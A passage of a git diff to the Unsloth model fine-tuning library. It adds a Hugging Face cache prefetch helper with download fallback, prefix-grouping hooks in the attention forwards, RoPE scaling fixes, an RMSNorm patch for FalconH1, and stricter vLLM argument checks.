+        from huggingface_hub import HfApi
+        siblings = HfApi().model_info(model_name, revision = revision, token = token).siblings or []
+        return any(
+            "/" not in sibling.rfilename.replace("\\", "/")  # root only
+            and sibling.rfilename.startswith("adapter_model")
+            and sibling.rfilename.endswith(".safetensors")
+            for sibling in siblings
+        )
+    except Exception:
+        return False
+
+
+def _prefetch_ignore_patterns(
+    model_name,
+    *,
+    token = None,
+    revision = None,
+    subfolder = None,
+    use_safetensors = None,
+    from_tf = False,
+    from_flax = False,
+    variant = None,
+    weights_at_root = False,
+):
+    """ignore_patterns for the prewarm snapshot: the static skip list, minus the checkpoint guard when
+    loading from a checkpoint-* subfolder, minus the weight format the load will not read. use_safetensors
+    is a format allowlist (True -> skip *.bin, False -> skip *.safetensors); auto (None) skips *.bin only
+    when in-scope safetensors are shipped. from_tf/from_flax keep *.h5/*.msgpack.
+
+    Suppressed for a whole multi-component snapshot (weights_at_root=False, no subfolder: ST/diffusers
+    repos with per-subfolder weights, each in its own format), since "*" spans "/" so dropping "*.bin"
+    would strip a module's only weight."""
+    # Keep checkpoint-*/* under a checkpoint-* subfolder; keep *.h5 / *.msgpack under from_tf/flax.
+    ignore_patterns = [
+        pattern
+        for pattern in _PREFETCH_IGNORE_PATTERNS
+        if not (
+            (
+                pattern == "checkpoint-*/*"
+                and isinstance(subfolder, str)
+                and subfolder.startswith("checkpoint-")
+            )
+            or (from_tf and pattern == "*.h5")
+            or (from_flax and pattern == "*.msgpack")
+        )
+    ]
+    # Drop the format the load will not read (the other doubles the download); skipped for a whole
+    # multi-component snapshot (see docstring).
+    whole_multi_component = not weights_at_root and not (
+        isinstance(subfolder, str) and subfolder.strip("/")
+    )
+    if whole_multi_component:
+        pass
+    elif from_tf or from_flax:
+        # TF / Flax loads never read the PyTorch formats; drop safetensors and .bin.
+        ignore_patterns.extend(
+            (
+                "*.safetensors",
+                "*.safetensors.index.json",
+                "*.bin",
+                "*.bin.index.json",
+            )
+        )
+    elif use_safetensors is True:
+        # Explicit safetensors: load never reads .bin (no model_info call needed).
+        ignore_patterns.extend(("*.bin", "*.bin.index.json"))
+    elif use_safetensors is False:
+        # Explicit .bin: load never reads safetensors.
+        ignore_patterns.extend(("*.safetensors", "*.safetensors.index.json"))
+    else:
+        # Auto: skip .bin only once in-scope safetensors are confirmed (best-effort; any failure keeps both).
+        try:
+            from huggingface_hub import HfApi
+
+            siblings = (
+                HfApi()
+                .model_info(
+                    model_name,
+                    revision = revision,
+                    token = token,
+                )
+                .siblings
+                or []
+            )
+            # Count only in-scope model-weights safetensors (not adapters/sidecars): variant-matching if
+            # a variant is requested, else canonical, proving the .bin redundant.
+            has_safetensors = any(
+                _is_model_weight_safetensors(sibling.rfilename)
+                and _in_requested_load_scope(sibling.rfilename, subfolder)
+                and (
+                    _is_canonical_variant_model_weight_safetensors(sibling.rfilename, variant)
+                    if variant
+                    else _is_canonical_model_weight_safetensors(sibling.rfilename)
+                )
+                for sibling in siblings
+            )
+            if has_safetensors:
+                ignore_patterns.extend(("*.bin", "*.bin.index.json"))
+        except Exception:
+            pass
+    return ignore_patterns
+
+
+def maybe_prefetch_hf_snapshot(
+    model_name,
+    token = None,
+    *,
+    revision = None,
+    cache_dir = None,
+    local_files_only = False,
+    fast_inference = False,
+    subfolder = None,
+    force_download = False,
+    use_safetensors = None,
+    from_tf = False,
+    from_flax = False,
+    tokenizer_only = False,
+    adapter_only = False,
+    weights_at_root = False,
+    variant = None,
+    gguf_file = None,
+):
+    """Warm the HF cache for a remote repo before the in-process load.
+
+    Xet can hang on a blob with no progress or exception, and a blocked native Xet thread cannot be
+    killed in-process. So pull the snapshot first in a killable subprocess that falls back Xet -> HTTP
+    on a stall (unsloth_zoo.hf_xet_fallback), making from_pretrained a cache hit.
+
+    Returns True iff warmed (caller can clear force_download), else False (skipped: local/offline/
+    local_files_only/fast_inference/old unsloth_zoo, or failed). Only a both-transports-stalled
+    DownloadStallError is raised; other failures are left for from_pretrained to surface.
+    """
+    try:
+        from unsloth_zoo.hf_xet_fallback import (
+            snapshot_download_with_xet_fallback,
+            DownloadStallError,
+        )
+    except Exception:
+        return False  # older unsloth_zoo without the helper: load normally
+
+    if not isinstance(model_name, str) or not model_name:
+        return False
+    # Local path: nothing to download. Expand ~ first (os.path.exists does not).
+    model_path = os.path.expanduser(model_name)
+    if os.path.isdir(model_path) or os.path.exists(model_path):
+        return False
+    # Looks local but not yet on disk (e.g. an uncreated output dir): not a Hub repo id, so leave it
+    # for from_pretrained rather than download it.
+    if (
+        os.path.isabs(model_path)
+        or model_name.startswith(("~", "./", "../", ".\\", "..\\"))
+        or "\\" in model_name
+    ):
+        return False
+    if local_files_only:  # cache-only: never reach out
+        return False
+    if any(
+        os.environ.get(flag, "0").lower() in ("1", "true", "yes", "on")
+        for flag in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE")
+    ):
+        return False
+    if fast_inference:  # vLLM has its own download path
+        return False
+
+    # tokenizer-only / adapter-only warms allow-list exact files below, so the weight-format ignore
+    # list (and its auto-branch model_info call) is skipped.
+    ignore_patterns = (
+        None
+        if tokenizer_only or adapter_only or gguf_file
+        else _prefetch_ignore_patterns(
+            model_name,
+            token = token,
+            revision = revision,
+            subfolder = subfolder,
+            use_safetensors = use_safetensors,
+            from_tf = from_tf,
+            from_flax = from_flax,
+            variant = variant,
+            weights_at_root = weights_at_root,
+        )
+    )
+    # Narrow the warm to what the load reads (skip extra checkpoints/precisions); every branch still warms
+    # root tokenizer/config/custom-code so those never fall in-process.
+    allow_patterns = None
+    if gguf_file:
+        # gguf_file=NAME reads exactly that GGUF, but the static ignore list drops *.gguf; so warm just
+        # that file (plus root aux), under <subfolder>/ if set.
+        _gguf_path = (
+            f"{subfolder.strip('/')}/{gguf_file}"
+            if isinstance(subfolder, str) and subfolder.strip("/")
+            else gguf_file
+        )
+        allow_patterns = [_gguf_path, *_ROOT_AUX_PREFETCH_PATTERNS]
+    elif tokenizer_only:
+        # A distinct tokenizer repo: warm only tokenizer / config / vocab files, never its weights.
+        allow_patterns = list(_ROOT_AUX_PREFETCH_PATTERNS)
+    elif adapter_only:
+        # A PEFT adapter load reads only adapter_config.json + adapter_model.* (plus root aux), not any
+        # merged weights the repo may also publish.
+        allow_patterns = [*_ADAPTER_PREFETCH_PATTERNS, *_ROOT_AUX_PREFETCH_PATTERNS]
+        # PeftModel reads one format (safetensors when present): explicit use_safetensors wins, else
+        # prefer safetensors when shipped (best-effort; any failure keeps both).
+        if use_safetensors is False:
+            ignore_patterns = [
+                "adapter_model*.safetensors",
+                "adapter_model*.safetensors.index.json",
+            ]
+        elif use_safetensors is True or _adapter_repo_has_safetensors(
+            model_name, token = token, revision = revision
+        ):
+            ignore_patterns = ["adapter_model*.bin", "adapter_model*.bin.index.json"]
+    elif isinstance(subfolder, str) and subfolder.strip("/"):
+        # subfolder=X: load resolves every weight under X/, so warm that subfolder (plus root aux).
+        allow_patterns = [f"{subfolder.strip('/')}/*", *_ROOT_AUX_PREFETCH_PATTERNS]
+    elif weights_at_root:
+        # A bare load reads only root weights: drop subdir weights (fp16/, checkpoint dirs) while keeping
+        # subdir configs. Diffusion leaves weights_at_root False.
+        ignore_patterns = [*(ignore_patterns or []), *_SUBDIR_WEIGHT_IGNORE_PATTERNS]
+    try:
+        snapshot_download_with_xet_fallback(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = cache_dir,
+            allow_patterns = allow_patterns,
+            ignore_patterns = ignore_patterns,
+            force_download = force_download,
+            variant = variant,
+        )
+        return True
+    except DownloadStallError:
+        # Both transports stalled: surface a clear network error, not a silent in-process hang.
+        raise
+    except Exception as exception:
+        logger.warning_once(
+            f"Unsloth: Could not pre-download {model_name} "
+            f"({type(exception).__name__}: {exception}); continuing with the normal load."
+        )
+        return False
+
+
 # Ignore logging messages
 class HideLoggingMessage(logging.Filter):
     __slots__ = ("text",)
@@ -2288,6 +2834,7 @@ def patch_llama_rope_scaling(
                 dim = self.head_dim,
                 max_position_embeddings=self.max_position_embeddings,
                 base=self.rope_theta,
+                config=self.config,
             )
         elif scaling_type == "longrope":
             self.rotary_emb = {longrope_rope_function}(
@@ -2997,7 +3544,7 @@ class TorchAOConfig:
 def _untie_input_output_embeddings(model: torch.nn.Module) -> None:
     """
     Utility to untie input/output embeddings in a HuggingFace model.
-    This is useful if we want to quantize the input/ouput embeddings differently.
+    This is useful if we want to quantize the input/output embeddings differently.
     Model is modified in-place.
     """
 
@@ -3426,8 +3973,25 @@ def _moe_target_set_from_string(target_modules: str) -> set[str]:
         return {target_modules}
 
     is_regex = re.search(r"[*+?()[\]{}|\\^$]", target_modules) is not None
-    targets_mlp = "mlp" in target_modules or "ffn" in target_modules
-    if is_regex and "proj" in target_modules and targets_mlp:
+    # Key detection on the mlp/ffn/experts path segment (absent from an
+    # attention-only regex), never on q/k/v/o leaves alone.
+    targets_mlp_path = any(
+        tag in target_modules for tag in ("mlp", "ffn", "feed_forward", "experts")
+    )
+    if not is_regex or not targets_mlp_path:
+        return set()
+    # Explicit expert leaves scope the target set to exactly those leaves.
+    named = {name for name in _MOE_BROAD_MLP_TARGETS if name in target_modules}
+    if named:
+        return named
+    # A generic projection under an mlp path (e.g. ".*mlp.*proj"): any proj
+    # occurrence that is not an attention leaf name.
+    if re.search(r"(?<![qkvo]_)(?<!out_)(?<!in_)proj", target_modules):
+        return set(_MOE_BROAD_MLP_TARGETS)
+    # The auto regex on fused-expert models lists only attention Linears as
+    # leaves; its mlp tag block is the remaining MLP-intent signal. A regex
+    # like "(mlp|self_attn).(q_proj|o_proj)" has neither and stays attention-only.
+    if "mlp|feed_forward|ffn|dense" in target_modules:
         return set(_MOE_BROAD_MLP_TARGETS)
 
     return set()
@@ -3513,6 +4077,31 @@ def get_moe_target_parameters(model, target_modules = None) -> Optional[List[str
     return None
 
 
+def _select_moe_detection_targets(
+    original_target_modules,
+    scoped_target_modules,
+    finetune_mlp_modules = True,
+    finetune_language_layers = True,
+):
+    """Pick what get_moe_target_parameters keys expert detection on.
+
+    Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an
+    attention-only request is not pushed into the experts by get_peft_regex's
+    ``mlp|feed_forward|ffn|dense`` component block (which the string fallback
+    cannot tell apart from a fused-expert auto regex).
+
+    But only when the MLP and language families are BOTH still in scope. If the
+    caller scoped MLP or language OFF (``finetune_mlp_modules=False`` or
+    ``finetune_language_layers=False``) the scoped regex already drops the MoE
+    experts, and reusing the original list -- which may still name gate/up/down
+    leaves -- would wrongly re-introduce them. In that case honor the scoped
+    result so the frozen-MLP / vision-only request is respected.
+    """
+    if original_target_modules is not None and finetune_mlp_modules and finetune_language_layers:
+        return original_target_modules
+    return scoped_target_modules
+
+
 def make_fast_generate_wrapper(original_generate):
     """
     Creates a wrapper around model.generate that checks for incorrect
@@ -3521,8 +4110,27 @@ def make_fast_generate_wrapper(original_generate):
 
     @functools.wraps(original_generate)
     def _fast_generate_wrapper(*args, **kwargs):
-        # Check for vLLM-specific arguments
-        if "sampling_params" in kwargs:
+        def _has_sampling_params(a):
+            # SamplingParams passed directly or inside a positional list/tuple
+            return type(a).__name__ == "SamplingParams" or (
+                isinstance(a, (list, tuple))
+                and any(type(i).__name__ == "SamplingParams" for i in a)
+            )
+
+        def _is_vllm_prompt(a):
+            # str prompt, a vLLM prompt dict (prompt / prompt_token_ids / prompt_embeds /
+            # multi_modal_data), or a list/tuple of those
+            head = a[0] if isinstance(a, (list, tuple)) and len(a) > 0 else a
+            return isinstance(head, str) or (
+                isinstance(head, dict)
+                and any(
+                    k in head
+                    for k in ("prompt", "prompt_token_ids", "prompt_embeds", "multi_modal_data")
+                )
+            )
+
+        # vLLM-only; also catch SamplingParams passed positionally (fast_generate(prompt, params))
+        if "sampling_params" in kwargs or any(_has_sampling_params(a) for a in args):
             raise ValueError(
                 "Unsloth: `sampling_params` is only supported when `fast_inference=True` (vLLM). "
                 "Since `fast_inference=False`, use HuggingFace generate arguments instead:\n"
@@ -3535,33 +4143,26 @@ def make_fast_generate_wrapper(original_generate):
                 "Since `fast_inference=False`, LoRA weights are already merged into the model."
             )
 
-        # Check if first positional argument is a string or list of strings
-        if len(args) > 0:
-            first_arg = args[0]
-            is_string_input = False
-
-            if isinstance(first_arg, str):
-                is_string_input = True
-            elif isinstance(first_arg, (list, tuple)) and len(first_arg) > 0:
-                if isinstance(first_arg[0], str):
-                    is_string_input = True
-
-            if is_string_input:
-                raise ValueError(
-                    "Unsloth: Passing text strings to `fast_generate` is only supported "
-                    "when `fast_inference=True` (vLLM). Since `fast_inference=False`, you must "
-                    "tokenize the input first:\n\n"
-                    "  messages = tokenizer.apply_chat_template(\n"
-                    '      [{"role": "user", "content": "Your prompt here"}],\n'
-                    "      tokenize=True, add_generation_prompt=True,\n"
-                    '      return_tensors="pt", return_dict=True\n'
-                    "  )\n"
-                    "  output = model.fast_generate(\n"
-                    "      **messages.to('cuda'),\n"
-                    "      max_new_tokens=64,\n"
-                    "      temperature=1.0,\n"
-                    "  )"
-                )
+        # A vLLM-style prompt (string, {"prompt":..., "multi_modal_data":...} dict, or a list/tuple
+        # of either) only works under vLLM; tokenize first when fast_inference=False. A positional
+        # arg may be HF token ids, so check it conservatively with _is_vllm_prompt. The `prompts` /
+        # `prompt_token_ids` / `prompt_embeds` keywords are vLLM-only names that HuggingFace generate
+        # does not accept, so any of them being present is a vLLM-style call (even a bare token list,
+        # or an explicit None from a defaulted kwargs dict), hence membership rather than a value check.
+        vllm_prompt_kwarg = any(
+            k in kwargs for k in ("prompts", "prompt_token_ids", "prompt_embeds")
+        )
+        if (len(args) > 0 and _is_vllm_prompt(args[0])) or vllm_prompt_kwarg:
+            raise ValueError(
+                "Unsloth: Passing vLLM-style prompts to `fast_generate` is only supported when "
+                "`fast_inference=True` (vLLM). Since `fast_inference=False`, tokenize first:\n\n"
+                "  inputs = tokenizer.apply_chat_template(\n"
+                '      [{"role": "user", "content": "Your prompt here"}],\n'
+                "      tokenize=True, add_generation_prompt=True,\n"
+                '      return_tensors="pt", return_dict=True,\n'
+                "  )\n"
+                "  output = model.fast_generate(**inputs.to('cuda'), max_new_tokens=64, temperature=1.0)"
+            )
 
         # Call original generate
         return original_generate(*args, **kwargs)
diff --git a/unsloth/models/cohere.py b/unsloth/models/cohere.py
index 0b7f3ab973..cb367d451e 100644
--- a/unsloth/models/cohere.py
+++ b/unsloth/models/cohere.py
@@ -22,6 +22,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 
 try:
@@ -151,6 +152,9 @@ def CohereAttention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -161,6 +165,7 @@ def CohereAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/diffusion.py b/unsloth/models/diffusion.py
index 12596b432e..955bf55987 100644
--- a/unsloth/models/diffusion.py
+++ b/unsloth/models/diffusion.py
@@ -24,7 +24,7 @@ import os
 import torch
 from transformers import AutoConfig, AutoProcessor, AutoTokenizer
 
-from ._utils import is_bfloat16_supported
+from ._utils import is_bfloat16_supported, maybe_prefetch_hf_snapshot
 from .llama import logger
 
 __all__ = ["FastDiffusionModel", "DIFFUSION_MODEL_TYPES", "is_diffusion_model_type"]
@@ -79,7 +79,14 @@ def _resolve_diffusion_model_class(config):
     )
 
 
-def _load_diffusion_config(model_name, token, trust_remote_code, revision, local_files_only):
+def _load_diffusion_config(
+    model_name,
+    token,
+    trust_remote_code,
+    revision,
+    local_files_only,
+    cache_dir = None,
+):
     """Load the config, aliasing the legacy ``diffusion_gemma`` model_type to the ``diffusion_gemma4``
     classes current transformers ships. AutoConfig raises on the legacy type; catch that, rewrite the
     type/arch names in-memory, and rebuild."""
@@ -90,6 +97,7 @@ def _load_diffusion_config(model_name, token, trust_remote_code, revision, local
             trust_remote_code = trust_remote_code,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
     except ValueError as e:
         if "diffusion_gemma" not in str(e):
@@ -103,6 +111,7 @@ def _load_diffusion_config(model_name, token, trust_remote_code, revision, local
             token = token,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
         with open(cfg_path, encoding = "utf-8") as f:
             cd = json.load(f)
@@ -152,12 +161,16 @@ class FastDiffusionModel:
                 os.environ.get("HF_HUB_OFFLINE", "0") == "1"
                 or os.environ.get("TRANSFORMERS_OFFLINE", "0") == "1"
             )
+
+        cache_dir = kwargs.get("cache_dir")
+
         config = _load_diffusion_config(
             model_name,
             token,
             trust_remote_code,
             revision,
             local_files_only,
+            cache_dir = cache_dir,
         )
         model_type = getattr(config, "model_type", None)
         if not is_diffusion_model_type(model_type):
@@ -168,6 +181,21 @@ class FastDiffusionModel:
 
         model_cls = _resolve_diffusion_model_class(config)
 
+        # Prefetch the whole repo root so the weight load is a cache hit. No subfolder: the pipeline
+        # loads every component subfolder, so narrowing would leave unet/vae/text_encoder to Xet.
+        maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = cache_dir,
+            local_files_only = local_files_only,
+            fast_inference = False,
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            # Forward variant (e.g. "fp16") so the warm keeps variant weights.
+            variant = kwargs.get("variant"),
+        )
+
         load_kwargs = dict(
             dtype = dtype,
             device_map = device_map,
@@ -176,7 +204,14 @@ class FastDiffusionModel:
             attn_implementation = attn_implementation,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
+        # Match the load's weight format to the warm (None/auto already matches).
+        if kwargs.get("use_safetensors") is not None:
+            load_kwargs["use_safetensors"] = kwargs["use_safetensors"]
+        # Forward variant to the real load so it reads the warmed variant weights.
+        if kwargs.get("variant") is not None:
+            load_kwargs["variant"] = kwargs["variant"]
 
         # Optional bitsandbytes quant. The MoE experts (3D Parameters) are not nn.Linear so bnb skips
         # them; only attention + dense MLP Linears quantize, lm_head/embeddings stay full precision.
@@ -222,6 +257,7 @@ class FastDiffusionModel:
                 trust_remote_code = trust_remote_code,
                 revision = revision,
                 local_files_only = local_files_only,
+                cache_dir = cache_dir,
             )
         except Exception:
             tokenizer = AutoTokenizer.from_pretrained(
@@ -230,6 +266,7 @@ class FastDiffusionModel:
                 trust_remote_code = trust_remote_code,
                 revision = revision,
                 local_files_only = local_files_only,
+                cache_dir = cache_dir,
             )
 
         return model, tokenizer
diff --git a/unsloth/models/falcon_h1.py b/unsloth/models/falcon_h1.py
index b940c95c68..e3e04e4fdc 100644
--- a/unsloth/models/falcon_h1.py
+++ b/unsloth/models/falcon_h1.py
@@ -37,6 +37,7 @@ try:
         FalconH1DecoderLayer,
         FalconH1Model,
         FalconH1ForCausalLM,
+        FalconH1RMSNorm,
         FalconHybridMambaAttentionDynamicCache,
     )
 except:
@@ -677,6 +678,18 @@ def fix_prepare_inputs_for_generation(module):
         module.prepare_inputs_for_generation = _fast_prepare_inputs_for_generation
 
 
+class Unsloth_FalconH1RMSNorm(FalconH1RMSNorm):
+    """fast_rms_layernorm (compiler-disabled, fp32 eps) avoids the float64 torch.compile RMSNorm kernel that fails on Intel Arc DG2 (issue #6555)."""
+
+    def forward(self, hidden_states):
+        return fast_rms_layernorm(self, hidden_states, gemma = False)
+
+
+def patch_falcon_h1_rms_layernorm():
+    import transformers.models.falcon_h1.modeling_falcon_h1
+    transformers.models.falcon_h1.modeling_falcon_h1.FalconH1RMSNorm = Unsloth_FalconH1RMSNorm
+
+
 class FastFalconH1Model(FastLlamaModel):
     @staticmethod
     def pre_patch():
@@ -708,6 +721,8 @@ class FastFalconH1Model(FastLlamaModel):
         transformers.models.falcon_h1.modeling_falcon_h1.FalconH1RotaryEmbedding = (
             LlamaRotaryEmbedding
         )
+        # Avoids the float64 RMSNorm compile kernel that fails on Intel Arc DG2 (issue #6555).
+        patch_falcon_h1_rms_layernorm()
         return
 
     @staticmethod
diff --git a/unsloth/models/gemma2.py b/unsloth/models/gemma2.py
index 68b9ebe22f..4a0531db78 100644
--- a/unsloth/models/gemma2.py
+++ b/unsloth/models/gemma2.py
@@ -22,6 +22,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
     SDPA,
 )
 from .gemma import (
@@ -168,6 +169,11 @@ def Gemma2Attention_fast_forward(
             },
         )
 
+        # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+        # (KV cache / padding mask) raises. None => byte-identical default. gemma2 is
+        # sliding-window and softcapped: the engage gate caps spans at the window and
+        # excludes softcap models entirely, so PG never engages here.
+        _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
         context = AttentionContext(
             bsz = bsz,
             q_len = q_len,
@@ -179,6 +185,7 @@ def Gemma2Attention_fast_forward(
             attention_mask = attention_mask,
             causal_mask = causal_mask,
             sliding_window = sliding_window,
+            prefix_seg_info = _pg_seg,
         )
 
         A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/granite.py b/unsloth/models/granite.py
index f5b0f57aa6..4dedf642eb 100644
--- a/unsloth/models/granite.py
+++ b/unsloth/models/granite.py
@@ -23,6 +23,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
     SDPA,
 )
 from .llama import (
@@ -159,6 +160,9 @@ def GraniteAttention_fast_forward(
         },
     )
 
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -169,6 +173,7 @@ def GraniteAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 7b9cf3df0e..a1da099758 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -28,7 +28,7 @@ from ._utils import (
     is_bfloat16_supported,
     get_quant_type,
 )
-from .loader_utils import _get_fp8_mode_and_check_settings
+from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
 from ..utils.packing import (
     get_packed_info_from_kwargs,
     mask_packed_sequence_boundaries,
@@ -39,6 +39,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from torch.nn.functional import scaled_dot_product_attention
 from transformers import __version__ as transformers_version
@@ -738,6 +739,10 @@ def LlamaAttention_fast_forward(
         flash_dense_kwargs = {"causal": True},
         flash_varlen_kwargs = {"dropout_p": 0.0, "causal": True},
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward (same route
+    # as packed_seq_lengths); misuse (KV cache / padding mask) raises. None => byte-identical
+    # default. Reuse of this forward also carries the branch to qwen2 & gemma.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -748,6 +753,7 @@ def LlamaAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = config, context = context, Q = Q, K = K, V = V)
@@ -895,8 +901,10 @@ def LlamaModel_fast_forward(
     seq_length_with_past = seq_length
 
     # Fix out of bounds tokenization unless we were given packed metadata
-    allow_overlength = getattr(self, "_unsloth_allow_packed_overlength", False) or (
-        "packed_seq_lengths" in kwargs
+    allow_overlength = (
+        getattr(self, "_unsloth_allow_packed_overlength", False)
+        or ("packed_seq_lengths" in kwargs)
+        or ("prefix_seg_info" in kwargs and kwargs["prefix_seg_info"] is not None)
     )
     if hasattr(self, "max_seq_length") and not allow_overlength:
         if seq_length > self.max_seq_length:
@@ -1486,7 +1494,9 @@ def CausalLM_fast_forward(fast_forward_inference):
                     logit_softcapping = logit_softcapping,
                 )
                 if not return_dict:
-                    output = (logits,) + outputs[1:]
+                    # Fused CE never materializes `logits`; use EMPTY_LOGITS
+                    # like the return_dict branch below (fixes #2068).
+                    output = (EMPTY_LOGITS,) + outputs[1:]
                     return (loss,) + output if loss is not None else output
 
                 output = CausalLMOutputWithPast(
@@ -1746,7 +1756,6 @@ class LlamaRotaryEmbedding(torch.nn.Module):
         # Base-class-from-config path (modern transformers): derive inv_freq like
         # transformers so config.rope_scaling is not dropped (#2405). Scaled
         # subclasses are excluded to avoid double-scaling.
-        config_inv_freq = None
         if config is not None:
             # [TODO] Hack to pass in config - need to remove later
             base = _get_rope_theta(config, default = base)
@@ -1759,32 +1768,17 @@ class LlamaRotaryEmbedding(torch.nn.Module):
             device = DEVICE_TYPE_TORCH
             max_position_embeddings = config.max_position_embeddings
 
-            rope_scaling = getattr(config, "rope_scaling", None)
-            if rope_scaling is not None and type(self) is LlamaRotaryEmbedding:
-                config_inv_freq, self.attention_scaling = _compute_config_rope_inv_freq(
-                    config,
-                    rope_scaling,
-                )
-
         self.dim = dim
         self.max_position_embeddings = max_position_embeddings
         self.base = base
+        # Kept so the v5 rope repair can rebuild the scaled inv_freq (#2405).
+        self._unsloth_rope_config = config
         # Dynamic RoPE we first set it to a max of 4 * 8192 tokens then we iteratively grow this
         self.current_rope_size = min(4 * 8192, self.max_position_embeddings)
         self.multi_gpu_cos_cached = [None] * DEVICE_COUNT
         self.multi_gpu_sin_cached = [None] * DEVICE_COUNT
 
-        if config_inv_freq is not None:
-            inv_freq = config_inv_freq  # already scaled; skip subclass scaling
-        else:
-            # Normal Llama-3 RoPE
-            inv_freq = 1.0 / (
-                self.base
-                ** (
-                    torch.arange(0, self.dim, 2, dtype = torch.int64, device = "cpu").float() / self.dim
-                )
-            )
-            inv_freq = self._apply_inv_freq_scaling(inv_freq)
+        inv_freq = self._unsloth_recompute_inv_freq()
         self.register_buffer("inv_freq", inv_freq, persistent = False)
 
         # Build here to make `torch.jit.trace` work.
@@ -1807,6 +1801,25 @@ class LlamaRotaryEmbedding(torch.nn.Module):
         """Override to apply custom inv_freq scaling (e.g., extended RoPE)."""
         return inv_freq
 
+    def _unsloth_recompute_inv_freq(self):
+        # Config scaling (llama3/yarn) first, else vanilla + subclass scaling.
+        # Shared by __init__ and the v5 rope repair so they cannot diverge.
+        config = getattr(self, "_unsloth_rope_config", None)
+        config_inv_freq = None
+        rope_scaling = getattr(config, "rope_scaling", None) if config is not None else None
+        if rope_scaling is not None and type(self) is LlamaRotaryEmbedding:
+            config_inv_freq, self.attention_scaling = _compute_config_rope_inv_freq(
+                config,
+                rope_scaling,
+            )
+        if config_inv_freq is not None:
+            return config_inv_freq
+        inv_freq = 1.0 / (
+            self.base
+            ** (torch.arange(0, self.dim, 2, dtype = torch.int64, device = "cpu").float() / self.dim)
+        )
+        return self._apply_inv_freq_scaling(inv_freq)
+
     def _apply_time_scaling(self, t):
         """Override to apply custom time scaling (e.g., linear scaling)."""
         return t
@@ -1917,11 +1930,18 @@ class LlamaExtendedRotaryEmbedding(LlamaRotaryEmbedding):
 
     # From https://github.com/meta-llama/llama-models/blob/main/models/llama3_1/api/model.py#L41
     def _apply_inv_freq_scaling(self, freqs: torch.Tensor):
-        # Values obtained from grid search
-        scale_factor = 8
-        low_freq_factor = 1
-        high_freq_factor = 4
-        old_context_len = 8192  # original llama3 length
+        # llama3 factors from config; Llama-3.1 defaults when built without one
+        # (legacy codegen path). Hardcoding 8 is wrong for e.g. Llama-3.2 (32).
+        # v5 renames rope_scaling -> rope_parameters; read either so the factor
+        # survives even if the rope_scaling back-compat shim is dropped.
+        config = getattr(self, "_unsloth_rope_config", None)
+        rope_scaling = _rope_scaling_as_dict(
+            getattr(config, "rope_scaling", None) or getattr(config, "rope_parameters", None) or {}
+        )
+        scale_factor = rope_scaling.get("factor", 8)
+        low_freq_factor = rope_scaling.get("low_freq_factor", 1)
+        high_freq_factor = rope_scaling.get("high_freq_factor", 4)
+        old_context_len = rope_scaling.get("original_max_position_embeddings", 8192)
 
         low_freq_wavelen = old_context_len / low_freq_factor
         high_freq_wavelen = old_context_len / high_freq_factor
@@ -2418,6 +2438,73 @@ class FastLlamaModel:
 
         preferred_attn_impl = resolve_attention_implementation(model_function, model_config)
 
+        # Prefetch the repo (killable child) so the weight load is a cache hit. Runs after the
+        # AutoConfig/model-class check so an unsupported repo fails on its small config fetch. No
+        # revision: the load resolves model_name (maybe a remapped prequant repo) on its default branch.
+        _prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            cache_dir = kwargs.get("cache_dir"),
+            local_files_only = kwargs.get("local_files_only", False),
+            # Skip the warm only for a real vLLM load; a num_labels classification load still goes
+            # in-process below, so it must be warmed even under fast_inference.
+            fast_inference = fast_inference and num_labels is None,
+            subfolder = kwargs.get("subfolder"),
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            from_tf = kwargs.get("from_tf", False),
+            from_flax = kwargs.get("from_flax", False),
